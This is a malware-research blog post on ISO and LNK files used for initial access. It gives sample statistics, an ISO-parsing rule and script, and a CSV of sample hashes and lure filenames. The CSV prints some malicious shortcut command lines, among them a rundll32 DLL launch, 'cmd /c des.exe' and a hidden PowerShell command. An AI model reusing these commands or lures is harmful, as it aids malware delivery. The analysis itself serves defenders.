ATLAS Enters The ISO & LNK Hype Train

Introduction

For so long, Microsoft Office's macro capability has been to go option for initial access by threat actors. The community has seen a great variety of samples of this technology. But things are changing by Microsoft's decisions from last year. VBA macros are blocked if the origin of the document is the internet. Although in the middle, they retrieved but then by overwhelming responses, they returned to their initial decision. On the other hand, EXCEL 4.0 macros are restricted by default.

After these game-changing decisions, threat actors started to adopt new techniques for initial access, and the community responded to this movement with an appropriate answer. The trends show us that ISO and LNK file formats are at their peak. LNK files are Windows shortcuts, and recently SentinelOne shared excellent research around them. The post inspired me to do similar research on ISO files.

ISO Format

ISO file is a disk image, a sector-by-sector copy of the optical disc data stored inside a binary file. It contains everything an optical disk does, including a file system. There are various file systems for optical disks, but for this research, I am referring to ISO 9660.

info

By the way, the story of the development of the ISO 9660 file system is perfectly suitable for a scene in American Gods, IMO. If you haven't read it yet, I highly recommend it.

After Windows 8, ISO is natively supported, and OS can directly mount it. Another option is to use an archive tool like 7-zip to inspect its content.

Research

The main goal of this research is to understand ISO trends among malware after those two significant decisions.

Initially, I filtered ISO files with 5+ positives for the past 90 days on VirusTotal. Through this search, I got more than 3k samples. Because the total amount of disk space was enormous even before the extraction, I decided to use an EC2 on AWS to take advantage of the cloud. But then the cost increased remarkably, although the machine's CPU and RAM config were very low. So I finally got back to the local. This decision forced me to filter out more aggressively.

Thus, in addition to the query above, I've picked samples with those sizes lower than 10MB. So, in the end, 304 are the total samples subject to this research.

---

Without any doubt, I took advantage of ATLAS to easily process this dataset. At the end of the post, I shared the ATLAS rule and script for anyone who would like to continue this or do similar research.

Next Stage

The analysis shows that the next stage payload in the attack vector is likely PEEXE with %74.

Masquerading File Type

I identified that plenty of samples try to lure people into believing that their contents are documents. According to the statistics, PDF is far more popular than any other format.

By the way, I intentionally tried to avoid naming this part as Double File Extension as Mitre ATT&CK names. Because I count the below samples as masquerading. But they don't follow precisely Double File Extension patterns like .pdf.exe or .xls.exe:

• RFQ_AP65425652_032421 urgente,pdf.exe
• NDJ Heysen Shipping 18.08.2022_PDF.exe
• TENDER BOQ-LH22000309AA2022_Pdf__.exe

The actual file type is mostly PEEXE, although different types like LNK and VBS samples also exist.

LNK

I've found that 46 samples out of 304 continue with the LNK file. Even though the LNK files' target is diverse, most run a batch file.

And for the samples that continue with LNK, the majority of them belong to the IcedID family. Additionally, I detected a Bumblebee sample as well.

Language Distribution

I tried to analyze the distribution by language usage of the files extracted from ISO. There are 27 languages in total, and English is the winner with %67.6:

info

There are 12 files with a DHL theme.

Conclusion

According to the research, I identified that much ISO-originated malware tries to deceive its target by mimicking a document. Especially PDF is far more prevalent in this respect. So I kindly advise taking the utmost care when dealing with files look like PDF.

Also I can confirm that ISO then LNK execution is a thing. Among those samples, IcedID is very dominant.

Another observation is that the samples I examined use urgent, financial, or procurement themes to convince them to open. They are business related. So ISO file in the corporate network should be observed closely. All the files in this research are under 10MB. So, size is not a criterion. If ISO file type is not a part of the business, it might be wise to block it completely, or to deploy detection rules.

ATLAS

Here is the ATLAS rule that I used for this research:

meta:
  name: "iso_research"
  description: "A rule for ISO research project."
  author: "r00tten"
  version: "1.0"

scripts:
    create_dir: "aW1wb3J0IG9zCmltcG9ydCB0aW1lCgpkZWYgY3JlYXRlX2RpcihwYXRoOiBzdHIpIC0+IHN0cjoKICAgIHRpbWVzdGFtcCA9IHRpbWUudGltZSgpCiAgICBiYXNlbmFtZSA9IG9zLnBhdGguYmFzZW5hbWUocGF0aCkKCiAgICBkaXJfbmFtZSA9ICJ7fV97fSIuZm9ybWF0KGJhc2VuYW1lLCBpbnQodGltZXN0YW1wKSkKICAgIG9zLm1rZGlyKGRpcl9uYW1lKQoKICAgIHJldHVybiBkaXJfbmFtZQ=="
    iso_extract: "aW1wb3J0IGlvCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCBweWNkbGliCmltcG9ydCBjb2xsZWN0aW9ucwoKZGVmIGlzb19leHRyYWN0KGRhdGE6IGJ5dGVzLCB0YXJnZXRfcGF0aDogc3RyPSIuIikgLT4gbGlzdDoKICAgIHJlc3VsdCA9IFtdCiAgICBmaWxlX2xpa2UgPSBpby5CeXRlc0lPKGRhdGEpCgogICAgaXNvID0gcHljZGxpYi5QeUNkbGliKCkKICAgIGlzby5vcGVuX2ZwKGZpbGVfbGlrZSkKCiAgICBpZiBpc28uaGFzX3VkZigpOgogICAgICAgIHBhdGhuYW1lID0gJ3VkZl9wYXRoJwogICAgZWxpZiBpc28uaGFzX3JvY2tfcmlkZ2UoKToKICAgICAgICBwYXRobmFtZSA9ICdycl9wYXRoJwogICAgZWxpZiBpc28uaGFzX2pvbGlldCgpOgogICAgICAgIHBhdGhuYW1lID0gJ2pvbGlldF9wYXRoJwogICAgZWxzZToKICAgICAgICBwYXRobmFtZSA9ICdpc29fcGF0aCcKCiAgICByb290X2VudHJ5ID0gaXNvLmdldF9yZWNvcmQoKip7cGF0aG5hbWU6ICIvIn0pCgogICAgZGlycyA9IGNvbGxlY3Rpb25zLmRlcXVlKFtyb290X2VudHJ5XSkKICAgIHdoaWxlIGRpcnM6CiAgICAgICAgZGlyX3JlY29yZCA9IGRpcnMucG9wbGVmdCgpCiAgICAgICAgaWRlbnRfdG9faGVyZSA9IGlzby5mdWxsX3BhdGhfZnJvbV9kaXJyZWNvcmQoZGlyX3JlY29yZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByb2NrcmlkZ2U9cGF0aG5hbWUgPT0gJ3JyX3BhdGgnKQogICAgICAgIHJlbG5hbWUgPSBpZGVudF90b19oZXJlW2xlbigiLyIpOl0KICAgICAgICBpZiByZWxuYW1lIGFuZCByZWxuYW1lWzBdID09ICIvIjoKICAgICAgICAgICAgcmVsbmFtZSA9IHJlbG5hbWVbMTpdCiAgICAgICAgaWYgZGlyX3JlY29yZC5pc19kaXIoKToKICAgICAgICAgICAgaWYgcmVsbmFtZSAhPSAnJzoKICAgICAgICAgICAgICAgIG9zLm1ha2VkaXJzKG9zLnBhdGguam9pbih0YXJnZXRfcGF0aCwgcmVsbmFtZSkpCiAgICAgICAgICAgIGNoaWxkX2xpc3RlciA9IGlzby5saXN0X2NoaWxkcmVuKCoqe3BhdGhuYW1lOiBpZGVudF90b19oZXJlfSkKCiAgICAgICAgICAgIGZvciBjaGlsZCBpbiBjaGlsZF9saXN0ZXI6CiAgICAgICAgICAgICAgICBpZiBjaGlsZCBpcyBOb25lIG9yIGNoaWxkLmlzX2RvdCgpIG9yIGNoaWxkLmlzX2RvdGRvdCgpOgogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICAgICBkaXJzLmFwcGVuZChjaGlsZCkKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiBkaXJfcmVjb3JkLmlzX3N5bWxpbmsoKToKICAgICAgICAgICAgICAgIGZ1bGxwYXRoID0gb3MucGF0aC5qb2luKHRhcmdldF9wYXRoLCByZWxuYW1lKQogICAgICAgICAgICAgICAgbG9jYWxfZGlyID0gb3MucGF0aC5kaXJuYW1lKGZ1bGxwYXRoKQogICAgICAgICAgICAgICAgbG9jYWxfbGlua19uYW1lID0gb3MucGF0aC5iYXNlbmFtZShmdWxscGF0aCkKICAgICAgICAgICAgICAgIG9sZF9kaXIgPSBvcy5nZXRjd2QoKQogICAgICAgICAgICAgICAgb3MuY2hkaXIobG9jYWxfZGlyKQogICAgICAgICAgICAgICAgb3Muc3ltbGluayhkaXJfcmVjb3JkLnJvY2tfcmlkZ2Uuc3ltbGlua19wYXRoKCksIGxvY2FsX2xpbmtfbmFtZSkKICAgICAgICAgICAgICAgIG9zLmNoZGlyKG9sZF9kaXIpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBpc28uZ2V0X2ZpbGVfZnJvbV9pc28ob3MucGF0aC5qb2luKHRhcmdldF9wYXRoLCByZWxuYW1lKSwgKip7cGF0aG5hbWU6IGlkZW50X3RvX2hlcmV9KQogICAgICAgICAgICAgICAgcmVzdWx0LmFwcGVuZChvcy5wYXRoLmpvaW4ob3MuZ2V0Y3dkKCksICh0YXJnZXRfcGF0aCArIGlkZW50X3RvX2hlcmUpKSkKICAgIAogICAgaXNvLmNsb3NlKCkKCiAgICByZXR1cm4gcmVzdWx0"
    find_lnk: "aW1wb3J0IHJlCgpkZWYgZmluZF9sbmsoYXJyOiBsaXN0KSAtPiBzdHI6CiAgICByZXN1bHQgPSAiIgoKICAgIHBhdHRyID0gcmUuY29tcGlsZShyIlwubG5rJCIpCgogICAgZm9yIGkgaW4gYXJyOgogICAgICAgIGlmIHJlLnNlYXJjaChwYXR0ciwgaSk6CiAgICAgICAgICAgIHJlc3VsdCA9IGkKICAgICAgICAgICAgYnJlYWsKCiAgICByZXR1cm4gcmVzdWx0"
    get_lnk_target: "aW1wb3J0IExua1BhcnNlMwogCmRlZiBnZXRfbG5rX3RhcmdldChwYXRoOiBzdHIpIC0+IGRpY3Q6ICAKICAgIHJlc3VsdCA9IHt9CiAgICB0YXJnZXQgPSAiIgogICAgY29tbWFuZCA9ICIiCgogICAgd2l0aCBvcGVuKHBhdGgsICJyYiIpIGFzIGZpbGU6CiAgICAgICAgbG5rID0gTG5rUGFyc2UzLmxua19maWxlKGZpbGUpCiAgICAgICAgbG5rX2pzb24gPSBsbmsuZ2V0X2pzb24oKQoKICAgICAgICBpZiBsbmtfanNvbi5nZXQoInRhcmdldCIsICIiKSAhPSAiIjoKICAgICAgICAgICAgZm9yIGkgaW4gbG5rX2pzb25bInRhcmdldCJdWyJpdGVtcyJdOgogICAgICAgICAgICAgICAgaWYgaVsiY2xhc3MiXSA9PSAiUm9vdCBGb2xkZXIiIG9yXAogICAgICAgICAgICAgICAgaVsiY2xhc3MiXSA9PSAiVm9sdW1lIEl0ZW0iOgogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgICAgICBlbGlmIGlbImNsYXNzIl0gPT0gIkZpbGUgZW50cnkiOgogICAgICAgICAgICAgICAgICAgIGlmIGlbImZsYWdzIl0gPT0gIklzIGRpcmVjdG9yeSI6CiAgICAgICAgICAgICAgICAgICAgICAgIHRhcmdldCArPSBpWyJwcmltYXJ5X25hbWUiXSArICIvIgogICAgICAgICAgICAgICAgICAgIGVsaWYgaVsiZmxhZ3MiXSA9PSAiSXMgZmlsZSI6CiAgICAgICAgICAgICAgICAgICAgICAgIHRhcmdldCArPSBpWyJwcmltYXJ5X25hbWUiXQogICAgICAgIGVsaWYgbG5rX2pzb24uZ2V0KCJleHRyYSIsICIiKSAhPSAiIjoKICAgICAgICAgICAgdGFyZ2V0ID0gbG5rX2pzb25bImV4dHJhIl1bIkVOVklST05NRU5UQUxfVkFSSUFCTEVTX0xPQ0FUSU9OX0JMT0NLIl1bInRhcmdldF9hbnNpIl0KICAgICAgICAgICAgCiAgICAgICAgY29tbWFuZCA9IGxua19qc29uWyJkYXRhIl0uZ2V0KCJjb21tYW5kX2xpbmVfYXJndW1lbnRzIiwgIiIpCiAgICAgICAgCiAgICAgICAgcmVzdWx0WyJ0YXJnZXQiXSA9IHRhcmdldAogICAgICAgIHJlc3VsdFsiY29tbWFuZCJdID0gY29tbWFuZAoKICAgIHJldHVybiByZXN1bHQ="

chain:
    s1:
        input: $param.file
        func: file_read_bin

    s1_5:
        input:
            - $scripts.create_dir
            - $param.file
        func: python_executor

    s2:
        input: 
            - $scripts.iso_extract
            - $s1
            - $s1_5
        func: python_executor

    s3:
        input:
            - $scripts.find_lnk 
            - $s2
        func: python_executor
    
    s4:
        input:
            - $scripts.get_lnk_target
            - $s3
        func: python_executor

The rule helps me to digest this dataset and to standardize the analysis process:

• Takes the ISO file's path and reads it,
• Creates a folder for the samples,
• Extracts the ISO file's content,
• Looks for a sign of the LNK file,
• If it finds, it gets the target and command line of the LNK file.

After processing the samples, I switched to Google Sheets for data analysis. I took advantage of ATLAS's execution results to get the required data with me. Here is the script that executes the rule and then creates a CSV file with the result of the execution:

import csv

from atlas import atlas


def main():
    atl = atlas("../iso_research.atl", param={'file': '.\*'})
    result = atl.execute()
    
    with open("../iso_research.csv", "w", encoding='UTF-8', newline="") as file:
        writer = csv.writer(file)
        writer.writerow(["filename", "folder", "ISO_Content", "LNK_File", "LNK_Target", "LNK_Command"])
        for i in result:
            temp = []
            for key in i:
                try:
                    if key == "s1":
                        temp. append(i[key]['input'][0])
                    elif key == "s4":
                        temp.append(i[key]['output']['target'])
                        temp.append(i[key]['output']['command'])
                    else:
                        temp.append(i[key]['output'])
            
                except Exception as e:
                    print(e)
            
            writer.writerow(temp)


if __name__ == "__main__":
    main()  

info

The ATLAS rule uses Python modules:

• pycdlib
• LnkParse3

CSV File

caution

I've gathered the samples from VirusTotal, and I can't state that everyone is malicious. Some might be legitimate, and I don't want to label them.

But according to the research, I can say that most of those are malware.

filename	folder	ISO_Content	LNK_File	LNK_Target	LNK_Command
.\01250cb2add21beea886cad296a3accd7734eaff1ee3b4ee78881898bf569ded	01250cb2add21beea886cad296a3accd7734eaff1ee3b4ee78881898bf569ded_1661938884	['.\01250cb2add21beea886cad296a3accd7734eaff1ee3b4ee78881898bf569ded_1661938884/TECTRAD PROFORMA INVOICE 79462.pdf.exe']
.\01541b24ea1c721e73dcd4bf5e04e91fb80a0fe057bb7381869a37335fe9f64b	01541b24ea1c721e73dcd4bf5e04e91fb80a0fe057bb7381869a37335fe9f64b_1661938884	['.\01541b24ea1c721e73dcd4bf5e04e91fb80a0fe057bb7381869a37335fe9f64b_1661938884/wk38_PO_008815.vbs']
.\032b47ee8df65e17e877002a22330b07fdcad3067fa04c85402a7c4d5c3463f1	032b47ee8df65e17e877002a22330b07fdcad3067fa04c85402a7c4d5c3463f1_1661938884	['.\032b47ee8df65e17e877002a22330b07fdcad3067fa04c85402a7c4d5c3463f1_1661938884/ORDER-09142020.exe']
.\04a58bdfe3ed37495f899da8be2ad6de9666c5b195f4386afac655e5b0523488	04a58bdfe3ed37495f899da8be2ad6de9666c5b195f4386afac655e5b0523488_1661938884	"['.\04a58bdfe3ed37495f899da8be2ad6de9666c5b195f4386afac655e5b0523488_1661938884/6605701.ico', '.\04a58bdfe3ed37495f899da8be2ad6de9666c5b195f4386afac655e5b0523488_1661938884/6605701.xls .exe']"
.\04cb4efa236b0ba99d1939ce96ccaef03574a03e4e9366ac553606ae0b2c2b91	04cb4efa236b0ba99d1939ce96ccaef03574a03e4e9366ac553606ae0b2c2b91_1661938884
.\051e4e4358cc45eefbd383ebd1e75d1e24febab07c978d9f73bb3b739e7bd14c	051e4e4358cc45eefbd383ebd1e75d1e24febab07c978d9f73bb3b739e7bd14c_1661938884	['.\051e4e4358cc45eefbd383ebd1e75d1e24febab07c978d9f73bb3b739e7bd14c_1661938884/ANFRAGE AUFTRAGSBESTÄTIGUNG.exe']
.\05b9ef009d64d3ea00aabb0b45180d42b122804223e787e6ab6b8a0b042fe6e7	05b9ef009d64d3ea00aabb0b45180d42b122804223e787e6ab6b8a0b042fe6e7_1661938884	['.\05b9ef009d64d3ea00aabb0b45180d42b122804223e787e6ab6b8a0b042fe6e7_1661938884/Receipt.exe']
.\05bcba2d512410fd53c16a5d4e21680a8c6d1878282f4f0d2badc2910e56f62d	05bcba2d512410fd53c16a5d4e21680a8c6d1878282f4f0d2badc2910e56f62d_1661938884	"['.\05bcba2d512410fd53c16a5d4e21680a8c6d1878282f4f0d2badc2910e56f62d_1661938884/ORDEN DE COMPRA DE A.W. Chesterton,pdf.exe']"
.\0620f8358b609f51dc511cf01064e47997feac4f3f23baf104e7d50b83c00ca6	0620f8358b609f51dc511cf01064e47997feac4f3f23baf104e7d50b83c00ca6_1661938884	['.\0620f8358b609f51dc511cf01064e47997feac4f3f23baf104e7d50b83c00ca6_1661938884/New Order.exe;1']
.\06a37dd5ac6e44d406e863efa8450fa4a79efac6ce35c787031c56a906e8787f	06a37dd5ac6e44d406e863efa8450fa4a79efac6ce35c787031c56a906e8787f_1661938884	['.\06a37dd5ac6e44d406e863efa8450fa4a79efac6ce35c787031c56a906e8787f_1661938884/Revised Sales Contract.exe']
.\07436dd792bed073e74c9545d829f112f02294fb855f7fa6af6a54c6913be159	07436dd792bed073e74c9545d829f112f02294fb855f7fa6af6a54c6913be159_1661938884	"['.\07436dd792bed073e74c9545d829f112f02294fb855f7fa6af6a54c6913be159_1661938884/RFQ_AP65425652_032421 urgente,pdf.exe']"
.\09f5e914de294e8a18aa065032d70e21e4191f078f33ecd6eb40793455987fd6	09f5e914de294e8a18aa065032d70e21e4191f078f33ecd6eb40793455987fd6_1661938884	['.\09f5e914de294e8a18aa065032d70e21e4191f078f33ecd6eb40793455987fd6_1661938884/Shipping Document PL&BL Draft.exe']
.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3	0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884	"['.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884/invoice-not-paid-date08-08-22-pdf.lnk', '.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884/at/aNewWouldSomeShe.txt', '.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884/at/but.txt', '.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884/at/forHeUseMoreWell.bat', '.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884/at/time.gif', '.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884/at/weByJustVeryVery.js']"	.\0a63a9f39e34606aca142d9a5ed264d6d0006002116a4bbbc813f208828245d3_1661938884/invoice-not-paid-date08-08-22-pdf.lnk	at/forHeUseMoreWell.bat
.\0ba69dc19fa4e29756be1ea9daf773c2cfde59e2ac63410d6686f330ff7452eb	0ba69dc19fa4e29756be1ea9daf773c2cfde59e2ac63410d6686f330ff7452eb_1661938884	['.\0ba69dc19fa4e29756be1ea9daf773c2cfde59e2ac63410d6686f330ff7452eb_1661938884/BL COPY- CIF LCL SEA SHIPMENT.exe']
.\0d740a348362171814cb314a48d763e336407904a36fa278eaf390c5743ec33b	0d740a348362171814cb314a48d763e336407904a36fa278eaf390c5743ec33b_1661938884	"['.\0d740a348362171814cb314a48d763e336407904a36fa278eaf390c5743ec33b_1661938884/New Folder.lnk', '.\0d740a348362171814cb314a48d763e336407904a36fa278eaf390c5743ec33b_1661938884/desk.dll']"	.\0d740a348362171814cb314a48d763e336407904a36fa278eaf390c5743ec33b_1661938884/New Folder.lnk	Windows/System32/rundll32.exe	"desk.dll,aCmHmjrptS"
.\0d920a036f30c7be765d6050cd4cdebfff48dd351a683eb46607dee515a34127	0d920a036f30c7be765d6050cd4cdebfff48dd351a683eb46607dee515a34127_1661938884	['.\0d920a036f30c7be765d6050cd4cdebfff48dd351a683eb46607dee515a34127_1661938884/FILE455544343_SMK84477464746.vbs']
.\0df4b835bc956b200096eae0441fc7b654167f491ad29a473c72c92193222b3b	0df4b835bc956b200096eae0441fc7b654167f491ad29a473c72c92193222b3b_1661938884	['.\0df4b835bc956b200096eae0441fc7b654167f491ad29a473c72c92193222b3b_1661938884/Bjfwelfichwhbfqwpqibblnnljlzkkvqhy.exe']
.\0e194e5ec39bddbe3eacff59128ea155add5e2f3c53fcae2487acaff51d0e61f	0e194e5ec39bddbe3eacff59128ea155add5e2f3c53fcae2487acaff51d0e61f_1661938884	"['.\0e194e5ec39bddbe3eacff59128ea155add5e2f3c53fcae2487acaff51d0e61f_1661938884/Documento de recibo de DHL,pdf.exe']"
.\0e1ce7b899417e82ec3888854cd4a46073c9b5fed1a6a893dbe5113fa004b738	0e1ce7b899417e82ec3888854cd4a46073c9b5fed1a6a893dbe5113fa004b738_1661938884	"['.\0e1ce7b899417e82ec3888854cd4a46073c9b5fed1a6a893dbe5113fa004b738_1661938884/documents.lnk', '.\0e1ce7b899417e82ec3888854cd4a46073c9b5fed1a6a893dbe5113fa004b738_1661938884/one/alsoThing.bat', '.\0e1ce7b899417e82ec3888854cd4a46073c9b5fed1a6a893dbe5113fa004b738_1661938884/one/thenTake.txt', '.\0e1ce7b899417e82ec3888854cd4a46073c9b5fed1a6a893dbe5113fa004b738_1661938884/one/weTo.js']"	.\0e1ce7b899417e82ec3888854cd4a46073c9b5fed1a6a893dbe5113fa004b738_1661938884/documents.lnk	one/alsoThing.bat
.\0e2e19b4dc02a049c3060f45da84e5d72c5bd1264648c089de53edcc3e5ccfe1	0e2e19b4dc02a049c3060f45da84e5d72c5bd1264648c089de53edcc3e5ccfe1_1661938884	['.\0e2e19b4dc02a049c3060f45da84e5d72c5bd1264648c089de53edcc3e5ccfe1_1661938884/NDJ Heysen Shipping 18.08.2022_PDF.exe']
.\109d336dfdaca34fda7c06fe8db5580744cd50bf04806e3d37a68ec38b6e1f29	109d336dfdaca34fda7c06fe8db5580744cd50bf04806e3d37a68ec38b6e1f29_1661938884	['.\109d336dfdaca34fda7c06fe8db5580744cd50bf04806e3d37a68ec38b6e1f29_1661938884/ORDER 20222.exe']
.\115d6feb7c90807180e769f1fe572b5a326c9382598efaf296d6eb72cf723e06	115d6feb7c90807180e769f1fe572b5a326c9382598efaf296d6eb72cf723e06_1661938884	['.\115d6feb7c90807180e769f1fe572b5a326c9382598efaf296d6eb72cf723e06_1661938884/3871_021_jpg.exe']
.\1249f07e6d88681fc29d50c0a5c11da8e0fa26288a3389a0f0aad7c9c87c2ddc	1249f07e6d88681fc29d50c0a5c11da8e0fa26288a3389a0f0aad7c9c87c2ddc_1661938884	['.\1249f07e6d88681fc29d50c0a5c11da8e0fa26288a3389a0f0aad7c9c87c2ddc_1661938884/Ntgroup 20207865.exe']
.\1265346359238e9ae01dadc9f8161af65721e6400c5bbe250f2799166e36a065	1265346359238e9ae01dadc9f8161af65721e6400c5bbe250f2799166e36a065_1661938884	['.\1265346359238e9ae01dadc9f8161af65721e6400c5bbe250f2799166e36a065_1661938884/TENDER BOQ-LH22000309AA2022_Pdf__.exe']
.\134b8bdca42b72cacb0cbc5acd33d543bd193f82b7443dfdd74fa0a0a86c5806	134b8bdca42b72cacb0cbc5acd33d543bd193f82b7443dfdd74fa0a0a86c5806_1661938884	['.\134b8bdca42b72cacb0cbc5acd33d543bd193f82b7443dfdd74fa0a0a86c5806_1661938884/PAYMENT.com']
.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903	13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884	"['.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/Somora Cryptocurrency Wallet.lnk', '.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/screenshot-1.png', '.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/screenshot-2.png', '.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/screenshot-3.png', '.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/screenshot-4.png', '.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/screenshot-5.png', '.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/screenshot-6.png']"	.\13dbf63792772fb754146b4330c25c2cbef72aa35d678034c991b8483c7c1903_1661938884/Somora Cryptocurrency Wallet.lnk	%windir%\system32\cmd.exe	" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^
.\165f2a93b59626412f9806a87f9f1b1b8fb9f476183da1dd309a62e9bd188eb7	165f2a93b59626412f9806a87f9f1b1b8fb9f476183da1dd309a62e9bd188eb7_1661938884	['.\165f2a93b59626412f9806a87f9f1b1b8fb9f476183da1dd309a62e9bd188eb7_1661938884/Umybvakoqtcdijocoypfwpjrcqomzlsnbt.exe']
.\16c0fbe1def9b19cbbb51a77b41538ce5d2a2411ecf16dc7ca518c9b4806e397	16c0fbe1def9b19cbbb51a77b41538ce5d2a2411ecf16dc7ca518c9b4806e397_1661938884	"['.\16c0fbe1def9b19cbbb51a77b41538ce5d2a2411ecf16dc7ca518c9b4806e397_1661938884/A.W.Chesterton PEDIDO DE COMPRA TTY56,pdf.exe']"
.\170e11706fb6f2be904661e5f85c67fbb1b84496456e62160d9e088bc00037fa	170e11706fb6f2be904661e5f85c67fbb1b84496456e62160d9e088bc00037fa_1661938884	['.\170e11706fb6f2be904661e5f85c67fbb1b84496456e62160d9e088bc00037fa_1661938884/Permintaan Kutipan- Faktur 2022-08-19.exe']
.\1787374ae8bf2dce40691f220236382f54b18fa3506d5a0583f439704dece92f	1787374ae8bf2dce40691f220236382f54b18fa3506d5a0583f439704dece92f_1661938884	['.\1787374ae8bf2dce40691f220236382f54b18fa3506d5a0583f439704dece92f_1661938884/DETAILS AND INVOICES.exe']
.\197d3c23d1a9c9091bcf5f41bd29c6f0baff0c6847dc36302ff472ffcb0d6831	197d3c23d1a9c9091bcf5f41bd29c6f0baff0c6847dc36302ff472ffcb0d6831_1661938884	['.\197d3c23d1a9c9091bcf5f41bd29c6f0baff0c6847dc36302ff472ffcb0d6831_1661938884/PAYMENT COPY.exe']
.\1992a4a36f16277093133b5bb7fa1445c648815a2438b17e9d863cfe6a09bd1e	1992a4a36f16277093133b5bb7fa1445c648815a2438b17e9d863cfe6a09bd1e_1661938884	"['.\1992a4a36f16277093133b5bb7fa1445c648815a2438b17e9d863cfe6a09bd1e_1661938884/RFQ20211207,pdf.exe']"
.\1a174db7c0ab206c45e6cfa70ee0d72f66c4ff4693a8941d7aec74fe1017eaea	1a174db7c0ab206c45e6cfa70ee0d72f66c4ff4693a8941d7aec74fe1017eaea_1661938884	"['.\1a174db7c0ab206c45e6cfa70ee0d72f66c4ff4693a8941d7aec74fe1017eaea_1661938884/PEDIDO RETENA S.A. PO,pdf.exe']"
.\1c9197b30c7b2c7fa14f59484f21f3bf8a939116046bba19e29bbad3426e2dcf	1c9197b30c7b2c7fa14f59484f21f3bf8a939116046bba19e29bbad3426e2dcf_1661938884	"['.\1c9197b30c7b2c7fa14f59484f21f3bf8a939116046bba19e29bbad3426e2dcf_1661938884/New_Order_20221208475932AS.exe', '.\1c9197b30c7b2c7fa14f59484f21f3bf8a939116046bba19e29bbad3426e2dcf_1661938884/New_Order_doc20221208824730As.exe']"
.\1d757ac2e4fe4f80d7aa24f606f461e58bfc258706066fefca521978e5ca9ba7	1d757ac2e4fe4f80d7aa24f606f461e58bfc258706066fefca521978e5ca9ba7_1661938884	['.\1d757ac2e4fe4f80d7aa24f606f461e58bfc258706066fefca521978e5ca9ba7_1661938884/DHL Shipment Notification.pdf.exe']
.\1e0d5ef54cf460023ca8cfcefcd96a1d6bf066f7e375a587470887e325829bcd	1e0d5ef54cf460023ca8cfcefcd96a1d6bf066f7e375a587470887e325829bcd_1661938884	['.\1e0d5ef54cf460023ca8cfcefcd96a1d6bf066f7e375a587470887e325829bcd_1661938884/PO 764898001.exe']
.\1f5ea9aa06f892bb07d78fc108f48583cbefd589698c3961714b4ca174033118	1f5ea9aa06f892bb07d78fc108f48583cbefd589698c3961714b4ca174033118_1661938884
.\1fd0018a96a1171470f84d4d745cf11c246b785d3b60fb957c0677399d597291	1fd0018a96a1171470f84d4d745cf11c246b785d3b60fb957c0677399d597291_1661938884	"['.\1fd0018a96a1171470f84d4d745cf11c246b785d3b60fb957c0677399d597291_1661938884/0816-98077.lnk', '.\1fd0018a96a1171470f84d4d745cf11c246b785d3b60fb957c0677399d597291_1661938884/des.exe', '.\1fd0018a96a1171470f84d4d745cf11c246b785d3b60fb957c0677399d597291_1661938884/ofcpipc.dll']"	.\1fd0018a96a1171470f84d4d745cf11c246b785d3b60fb957c0677399d597291_1661938884/0816-98077.lnk	Windows/System32/cmd.exe	/c des.exe
.\2423ac88666eda52a72e46a44b915c56fe992c8ebec6ce76ae9df6eaf9614d9d	2423ac88666eda52a72e46a44b915c56fe992c8ebec6ce76ae9df6eaf9614d9d_1661938884	['.\2423ac88666eda52a72e46a44b915c56fe992c8ebec6ce76ae9df6eaf9614d9d_1661938884/cfg 30.11.19-3a4bc6.exe']
.\25c7b948bcef5fd127bb9ea50c3272f84d3ea327d6f92e90314b48b51b257071	25c7b948bcef5fd127bb9ea50c3272f84d3ea327d6f92e90314b48b51b257071_1661938884	['.\25c7b948bcef5fd127bb9ea50c3272f84d3ea327d6f92e90314b48b51b257071_1661938884/pphud cfg-92bc54.exe']
.\267e6bfce49b37a63afe365edc32e9b1745a4ac541fb381569d57614cfcd12d1	267e6bfce49b37a63afe365edc32e9b1745a4ac541fb381569d57614cfcd12d1_1661938884	['.\267e6bfce49b37a63afe365edc32e9b1745a4ac541fb381569d57614cfcd12d1_1661938884/إيصال الطلب المرفق ، 46682VK5 ، pdf.exe']
